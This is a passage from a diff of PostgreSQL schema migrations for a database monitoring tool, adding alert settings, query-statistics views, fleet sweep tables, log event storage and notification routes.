+   own-forces-only invariant rests on, so it gets its own index rather than riding
+   idx_plan_force_actions_time - which leads with server_id but knows nothing about the actor and would
+   make every pending-review scan read the operator's rows to discard them. */
+CREATE INDEX IF NOT EXISTS idx_plan_force_actions_actor
+    ON collect.plan_force_actions(server_id, actor, action, action_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (113, 'remediation-credential-and-actor', now()::timestamp);
+-- ===BATCH=== V114 pg-index-bloat-estimate-columns
+
+ALTER TABLE collect.pg_index_bloat
+    ADD COLUMN IF NOT EXISTS index_pages bigint,
+    ADD COLUMN IF NOT EXISTS table_rows bigint,
+    ADD COLUMN IF NOT EXISTS fillfactor integer,
+    ADD COLUMN IF NOT EXISTS est_tuple_bytes bigint,
+    ADD COLUMN IF NOT EXISTS est_leaf_pages bigint,
+    ADD COLUMN IF NOT EXISTS est_bloat_pct double precision,
+    ADD COLUMN IF NOT EXISTS est_reclaimable_bytes bigint,
+    ADD COLUMN IF NOT EXISTS pgstattuple_available boolean;
+
+DELETE FROM collect.collector_state
+WHERE collector_name = 'pg_index_bloat'
+AND   state_key LIKE 'rotate:%';
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (114, 'pg-index-bloat-estimate-columns', now()::timestamp);
+-- ===BATCH=== V115 pg-cpu-capacity-headroom
+
+ALTER TABLE collect.pg_cpu_utilization
+    ADD COLUMN IF NOT EXISTS acu_utilization_percent double precision,
+    ADD COLUMN IF NOT EXISTS serverless_capacity_acu double precision,
+    ADD COLUMN IF NOT EXISTS max_configured_acu double precision;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (115, 'pg-cpu-capacity-headroom', now()::timestamp);
+-- ===BATCH=== V116 custom-alert-core
+
+CREATE TABLE IF NOT EXISTS config.custom_alert_rules (
+    id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    name text NOT NULL UNIQUE,
+    definition jsonb NOT NULL,
+    description text,
+    enabled boolean NOT NULL DEFAULT TRUE,
+    version integer NOT NULL DEFAULT 1,
+    created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    updated_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    updated_by text
+);
+
+CREATE TABLE IF NOT EXISTS config.custom_alert_state (
+    rule_id bigint NOT NULL REFERENCES config.custom_alert_rules (id) ON DELETE CASCADE,
+    server_id integer NOT NULL,
+    rule_version integer NOT NULL,
+    consecutive_breaches integer NOT NULL DEFAULT 0,
+    consecutive_clears integer NOT NULL DEFAULT 0,
+    firing boolean NOT NULL DEFAULT FALSE,
+    fired_severity text,
+    last_evaluated_at timestamp,
+    next_due_at timestamp,
+    updated_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    PRIMARY KEY (rule_id, server_id)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (116, 'custom-alert-core', now()::timestamp);
+-- ===BATCH=== V117 mute-rules-reload-beacon
+
+DROP TRIGGER IF EXISTS trg_bump_mute_rules ON config.config_mute_rules;
+CREATE TRIGGER trg_bump_mute_rules
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_mute_rules
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (117, 'mute-rules-reload-beacon', now()::timestamp);
+-- ===BATCH=== V118 builtin-alert-persistence
+
+CREATE TABLE IF NOT EXISTS config.alert_persistence_state (
+    server_id integer NOT NULL,
+    metric_name text NOT NULL,
+    consecutive_breaches integer NOT NULL DEFAULT 0,
+    consecutive_clears integer NOT NULL DEFAULT 0,
+    firing boolean NOT NULL DEFAULT FALSE,
+    last_observed_sample_at timestamp,
+    updated_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    PRIMARY KEY (server_id, metric_name)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (118, 'builtin-alert-persistence', now()::timestamp);
+-- ===BATCH=== V119 retention-hold-ratio-knobs
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS retention_hold_warn_ratio double precision NOT NULL DEFAULT 2.0;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS retention_hold_critical_ratio double precision NOT NULL DEFAULT 4.0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (119, 'retention-hold-ratio-knobs', now()::timestamp);
+-- ===BATCH=== V120 deadlock-rate-band-knobs
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS deadlock_warn_per_hour double precision NOT NULL DEFAULT 5.0;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS deadlock_critical_per_hour double precision NOT NULL DEFAULT 20.0;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (120, 'deadlock-rate-band-knobs', now()::timestamp);
+-- ===BATCH=== V121 oversized-plan-backlog
+
+ALTER TABLE query_stats
+    ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+ALTER TABLE procedure_stats
+    ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+DROP VIEW IF EXISTS v_query_stats;
+
+CREATE TABLE IF NOT EXISTS collect.oversized_plan_backlog
+(
+    server_id integer NOT NULL,
+    collector_name text NOT NULL,
+    plan_handle text NOT NULL,
+    sql_handle text NOT NULL,
+    statement_start_offset integer NOT NULL,
+    statement_end_offset integer NOT NULL,
+    database_name text,
+    query_hash text,
+    observed_bytes bigint NOT NULL,
+    first_seen_at timestamp NOT NULL,
+    last_seen_at timestamp NOT NULL,
+    plan_xml text,
+    captured_at timestamp,
+    expired_at timestamp,
+    last_attempt_at timestamp,
+    attempt_count integer NOT NULL DEFAULT 0,
+    CONSTRAINT pk_oversized_plan_backlog PRIMARY KEY
+    (
+        server_id,
+        collector_name,
+        plan_handle,
+        sql_handle,
+        statement_start_offset,
+        statement_end_offset
+    )
+);
+
+ALTER TABLE query_plan_dim
+    ADD COLUMN IF NOT EXISTS query_plan_gz bytea;
+ALTER TABLE query_plan_dim
+    ALTER COLUMN query_plan_xml DROP NOT NULL;
+/* Pre-adds for the payload-resolving view below: it names every payload column the
+   collector has today, and a store replaying this rung may predate the ALTER that adds
+   one of them. Idempotent, so this is a no-op wherever they already exist. */
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS database_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS creation_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS last_execution_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_clr_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_text text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sql_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_generation_num bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS host_object_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_start_offset integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_end_offset integer;
+
+/* v_query_stats resolves each row's payload: the inline column for rows written before
+   the dimension tables existed, the dimension row for every row written since (#1767).
+   Column list generated from the collector definition so it can never go stale. */
+CREATE OR REPLACE VIEW v_query_stats AS
+SELECT
+    f.collection_id,
+    f.collection_time,
+    f.server_id,
+    f.server_name,
+    f.database_name,
+    f.query_hash,
+    f.query_plan_hash,
+    f.creation_time,
+    f.last_execution_time,
+    f.execution_count,
+    f.total_worker_time,
+    f.total_elapsed_time,
+    f.total_logical_reads,
+    f.total_logical_writes,
+    f.total_physical_reads,
+    f.total_clr_time,
+    f.total_rows,
+    f.total_spills,
+    f.min_worker_time,
+    f.max_worker_time,
+    f.min_elapsed_time,
+    f.max_elapsed_time,
+    f.min_physical_reads,
+    f.max_physical_reads,
+    f.min_rows,
+    f.max_rows,
+    f.min_dop,
+    f.max_dop,
+    f.min_grant_kb,
+    f.max_grant_kb,
+    f.min_used_grant_kb,
+    f.max_used_grant_kb,
+    f.min_ideal_grant_kb,
+    f.max_ideal_grant_kb,
+    f.min_reserved_threads,
+    f.max_reserved_threads,
+    f.min_used_threads,
+    f.max_used_threads,
+    f.min_spills,
+    f.max_spills,
+    COALESCE(f.query_text, qtd.query_text) AS query_text,
+    COALESCE(f.query_plan_xml, qpd.query_plan_xml) AS query_plan_xml,
+    f.sql_handle,
+    f.plan_handle,
+    f.delta_execution_count,
+    f.delta_worker_time,
+    f.delta_elapsed_time,
+    f.delta_logical_reads,
+    f.delta_logical_writes,
+    f.delta_physical_reads,
+    f.delta_rows,
+    f.delta_spills,
+    f.plan_generation_num,
+    f.sample_interval_seconds,
+    f.host_object_name,
+    f.query_plan_xml_bytes,
+    f.statement_start_offset,
+    f.statement_end_offset,
+    f.query_text_digest,
+    f.query_plan_digest,
+    qpd.query_plan_gz
+FROM query_stats AS f
+LEFT JOIN query_text_dim AS qtd ON qtd.digest = f.query_text_digest
+LEFT JOIN query_plan_dim AS qpd ON qpd.digest = f.query_plan_digest
+;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (121, 'oversized-plan-backlog', now()::timestamp);
+-- ===BATCH=== V122 pg-deadlock-blocking-count-knobs
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS pg_deadlock_count_threshold integer NOT NULL DEFAULT 1;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS pg_blocking_count_threshold integer NOT NULL DEFAULT 1;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (122, 'pg-deadlock-blocking-count-knobs', now()::timestamp);
+-- ===BATCH=== V123 fleet-sweep-state
+
+CREATE TABLE IF NOT EXISTS collect.fleet_sweep_runs
+(
+    sweep_id bigint NOT NULL,
+    swept_at timestamp NOT NULL,
+    span_start timestamp NOT NULL,
+    span_end timestamp NOT NULL,
+    previous_sweep_id bigint,
+    alerts_enabled boolean NOT NULL,
+    servers_expected integer NOT NULL,
+    servers_reported integer NOT NULL,
+    instruments_alive boolean NOT NULL,
+    instrument_liveness_json text NOT NULL,
+    report_json text NOT NULL,
+    CONSTRAINT pk_fleet_sweep_runs PRIMARY KEY (sweep_id)
+);
+
+CREATE TABLE IF NOT EXISTS collect.fleet_sweep_server_verdicts
+(
+    sweep_id bigint NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    band text NOT NULL,
+    previous_band text,
+    band_reason text,
+    verdict_json text,
+    CONSTRAINT pk_fleet_sweep_server_verdicts PRIMARY KEY (sweep_id, server_id)
+);
+
+CREATE TABLE IF NOT EXISTS collect.fleet_sweep_would_have_paged
+(
+    sweep_id bigint NOT NULL,
+    server_id integer NOT NULL,
+    alert_family text NOT NULL,
+    evidence_json text NOT NULL,
+    CONSTRAINT pk_fleet_sweep_would_have_paged PRIMARY KEY (sweep_id, server_id, alert_family)
+);
+
+CREATE TABLE IF NOT EXISTS collect.fleet_sweep_watch_items
+(
+    server_id integer NOT NULL,
+    item_key text NOT NULL,
+    condition text NOT NULL,
+    state text NOT NULL,
+    consecutive_hits integer NOT NULL DEFAULT 0,
+    consecutive_misses integer NOT NULL DEFAULT 0,
+    first_seen_sweep_id bigint NOT NULL,
+    last_seen_sweep_id bigint NOT NULL,
+    opened_sweep_id bigint,
+    closed_sweep_id bigint,
+    first_seen_at timestamp NOT NULL,
+    last_seen_at timestamp NOT NULL,
+    evidence_json text,
+    CONSTRAINT pk_fleet_sweep_watch_items PRIMARY KEY (server_id, item_key)
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (123, 'fleet-sweep-state', now()::timestamp);
+-- ===BATCH=== V124 fleet-sweep-cadence-knobs
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS fleet_sweep_enabled boolean NOT NULL DEFAULT TRUE;
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS fleet_sweep_interval_minutes integer NOT NULL DEFAULT 60;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (124, 'fleet-sweep-cadence-knobs', now()::timestamp);
+-- ===BATCH=== V125 collector-database-scope
+
+ALTER TABLE config.config_collector_schedules
+    ADD COLUMN IF NOT EXISTS databases text[];
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (125, 'collector-database-scope', now()::timestamp);
+-- ===BATCH=== V126 self-disk-warn-gb-floor
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS self_disk_free_warn_gb integer NOT NULL DEFAULT 50;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (126, 'self-disk-warn-gb-floor', now()::timestamp);
+-- ===BATCH=== V127 delta-family-interval-columns
+
+ALTER TABLE collect.wait_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE collect.file_io_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE collect.latch_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE collect.spinlock_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the four passthroughs would keep serving
+   the pre-V127 column list forever — the V14 lesson, restated by V80 and V81. Appending is the one
+   alteration CREATE OR REPLACE VIEW permits, which is exactly what an ADD COLUMN produces. */
+CREATE OR REPLACE VIEW collect.v_wait_stats AS SELECT * FROM collect.wait_stats;
+CREATE OR REPLACE VIEW collect.v_file_io_stats AS SELECT * FROM collect.file_io_stats;
+CREATE OR REPLACE VIEW collect.v_latch_stats AS SELECT * FROM collect.latch_stats;
+CREATE OR REPLACE VIEW collect.v_spinlock_stats AS SELECT * FROM collect.spinlock_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (127, 'delta-family-interval-columns', now()::timestamp);
+-- ===BATCH=== V128 delta-family-interval-completion
+
+ALTER TABLE collect.procedure_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE collect.memory_grant_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE collect.pg_wait_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE collect.pg_statement_stats
+    ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+
+/* The delta key's two halves that were never stored. BYTE offsets into the batch's nvarchar text
+   (a character position is offset / 2); statement_end_offset = -1 means "to the end of the batch";
+   stored raw, -1 included, because the key string carries the raw values. */
+ALTER TABLE collect.query_stats
+    ADD COLUMN IF NOT EXISTS statement_start_offset integer;
+ALTER TABLE collect.query_stats
+    ADD COLUMN IF NOT EXISTS statement_end_offset integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the passthrough would keep serving the
+   pre-V128 column list forever — the V14 lesson, restated by V80, V81 and V127. The other three interval
+   tables have no v_ view. */
+CREATE OR REPLACE VIEW collect.v_memory_grant_stats AS SELECT * FROM collect.memory_grant_stats;
+
+/* v_query_stats is the payload-RESOLVING view (#1767), and its two new columns land ahead of the digest
+   columns — mid-list, which CREATE OR REPLACE VIEW refuses. Dropped here; the ladder entry concatenates
+   the regenerated resolving definition after the pre-adds, the V51/V121 idiom. */
+DROP VIEW IF EXISTS collect.v_query_stats;
+
+ALTER TABLE query_plan_dim
+    ADD COLUMN IF NOT EXISTS query_plan_gz bytea;
+ALTER TABLE query_plan_dim
+    ALTER COLUMN query_plan_xml DROP NOT NULL;
+/* Pre-adds for the payload-resolving view below: it names every payload column the
+   collector has today, and a store replaying this rung may predate the ALTER that adds
+   one of them. Idempotent, so this is a no-op wherever they already exist. */
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS database_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_hash text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS creation_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS last_execution_time timestamp;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_clr_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS total_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_dop bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_ideal_grant_kb bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_reserved_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_used_threads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS min_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS max_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_text text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sql_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_handle text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_execution_count bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_worker_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_elapsed_time bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_logical_writes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_physical_reads bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_rows bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS delta_spills bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS plan_generation_num bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS sample_interval_seconds integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS host_object_name text;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS query_plan_xml_bytes bigint;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_start_offset integer;
+ALTER TABLE query_stats ADD COLUMN IF NOT EXISTS statement_end_offset integer;
+
+/* v_query_stats resolves each row's payload: the inline column for rows written before
+   the dimension tables existed, the dimension row for every row written since (#1767).
+   Column list generated from the collector definition so it can never go stale. */
+CREATE OR REPLACE VIEW v_query_stats AS
+SELECT
+    f.collection_id,
+    f.collection_time,
+    f.server_id,
+    f.server_name,
+    f.database_name,
+    f.query_hash,
+    f.query_plan_hash,
+    f.creation_time,
+    f.last_execution_time,
+    f.execution_count,
+    f.total_worker_time,
+    f.total_elapsed_time,
+    f.total_logical_reads,
+    f.total_logical_writes,
+    f.total_physical_reads,
+    f.total_clr_time,
+    f.total_rows,
+    f.total_spills,
+    f.min_worker_time,
+    f.max_worker_time,
+    f.min_elapsed_time,
+    f.max_elapsed_time,
+    f.min_physical_reads,
+    f.max_physical_reads,
+    f.min_rows,
+    f.max_rows,
+    f.min_dop,
+    f.max_dop,
+    f.min_grant_kb,
+    f.max_grant_kb,
+    f.min_used_grant_kb,
+    f.max_used_grant_kb,
+    f.min_ideal_grant_kb,
+    f.max_ideal_grant_kb,
+    f.min_reserved_threads,
+    f.max_reserved_threads,
+    f.min_used_threads,
+    f.max_used_threads,
+    f.min_spills,
+    f.max_spills,
+    COALESCE(f.query_text, qtd.query_text) AS query_text,
+    COALESCE(f.query_plan_xml, qpd.query_plan_xml) AS query_plan_xml,
+    f.sql_handle,
+    f.plan_handle,
+    f.delta_execution_count,
+    f.delta_worker_time,
+    f.delta_elapsed_time,
+    f.delta_logical_reads,
+    f.delta_logical_writes,
+    f.delta_physical_reads,
+    f.delta_rows,
+    f.delta_spills,
+    f.plan_generation_num,
+    f.sample_interval_seconds,
+    f.host_object_name,
+    f.query_plan_xml_bytes,
+    f.statement_start_offset,
+    f.statement_end_offset,
+    f.query_text_digest,
+    f.query_plan_digest,
+    qpd.query_plan_gz
+FROM query_stats AS f
+LEFT JOIN query_text_dim AS qtd ON qtd.digest = f.query_text_digest
+LEFT JOIN query_plan_dim AS qpd ON qpd.digest = f.query_plan_digest
+;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (128, 'delta-family-interval-completion', now()::timestamp);
+-- ===BATCH=== V129 pg-log-events
+
+CREATE TABLE IF NOT EXISTS collect.pg_log_events (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    occurred_at timestamp,
+    family text,
+    severity text,
+    sqlstate text,
+    database_name text,
+    user_name text,
+    application_name text,
+    pid integer,
+    message text,
+    detail text,
+    context text,
+    statement_fingerprint text,
+    raw_line_hash text,
+    relation_name text,
+    bytes bigint,
+    duration_ms bigint,
+    pages_removed bigint,
+    pages_remaining bigint,
+    tuples_removed bigint,
+    tuples_remaining bigint,
+    buffer_hits bigint,
+    buffer_misses bigint,
+    buffer_dirtied bigint,
+    wal_records bigint,
+    wal_bytes bigint,
+    is_analyze boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_log_events_time
+    ON collect.pg_log_events(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (129, 'pg-log-events', now()::timestamp);
+-- ===BATCH=== V130 pg-log-event-metrics
+
+ALTER TABLE collect.pg_log_events
+    ADD COLUMN IF NOT EXISTS relation_name text,
+    ADD COLUMN IF NOT EXISTS bytes bigint,
+    ADD COLUMN IF NOT EXISTS duration_ms bigint,
+    ADD COLUMN IF NOT EXISTS pages_removed bigint,
+    ADD COLUMN IF NOT EXISTS pages_remaining bigint,
+    ADD COLUMN IF NOT EXISTS tuples_removed bigint,
+    ADD COLUMN IF NOT EXISTS tuples_remaining bigint,
+    ADD COLUMN IF NOT EXISTS buffer_hits bigint,
+    ADD COLUMN IF NOT EXISTS buffer_misses bigint,
+    ADD COLUMN IF NOT EXISTS buffer_dirtied bigint,
+    ADD COLUMN IF NOT EXISTS wal_records bigint,
+    ADD COLUMN IF NOT EXISTS wal_bytes bigint,
+    ADD COLUMN IF NOT EXISTS is_analyze boolean;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (130, 'pg-log-event-metrics', now()::timestamp);
+-- ===BATCH=== V131 notification-routes
+
+CREATE TABLE IF NOT EXISTS config.config_notification_routes (
+    route_id integer GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    metric_match text NOT NULL,
+    teams_url text NOT NULL DEFAULT '',
+    slack_url text NOT NULL DEFAULT '',
+    generic_url text NOT NULL DEFAULT '',
+    pagerduty_routing_key text NOT NULL DEFAULT '',
+    smtp_recipients text NOT NULL DEFAULT '',
+    configured_channels text[] GENERATED ALWAYS AS (array_remove(ARRAY[
+        CASE WHEN teams_url <> '' THEN 'Teams' END,
+        CASE WHEN slack_url <> '' THEN 'Slack' END,
+        CASE WHEN generic_url <> '' THEN 'Generic' END,
+        CASE WHEN pagerduty_routing_key <> '' THEN 'PagerDuty' END,
+        CASE WHEN smtp_recipients <> '' THEN 'Email' END], NULL)) STORED,
+    enabled boolean NOT NULL DEFAULT TRUE,
+    modified_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC'),
+    CONSTRAINT ck_config_notification_routes_metric_match CHECK (btrim(metric_match) <> '')
+);
+
+DROP TRIGGER IF EXISTS trg_bump_notification_routes ON config.config_notification_routes;
+CREATE TRIGGER trg_bump_notification_routes
+    AFTER INSERT OR UPDATE OR DELETE ON config.config_notification_routes
+    FOR EACH STATEMENT EXECUTE FUNCTION config.config_bump_version();
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (131, 'notification-routes', now()::timestamp);
+-- ===BATCH=== V132 perfmon-counter-type
+
+ALTER TABLE collect.perfmon_stats
+    ADD COLUMN IF NOT EXISTS cntr_type integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the passthrough would keep serving the
+   pre-V132 column list forever — the V14 lesson, restated by V80, V81, V127 and V128. Appending is the one
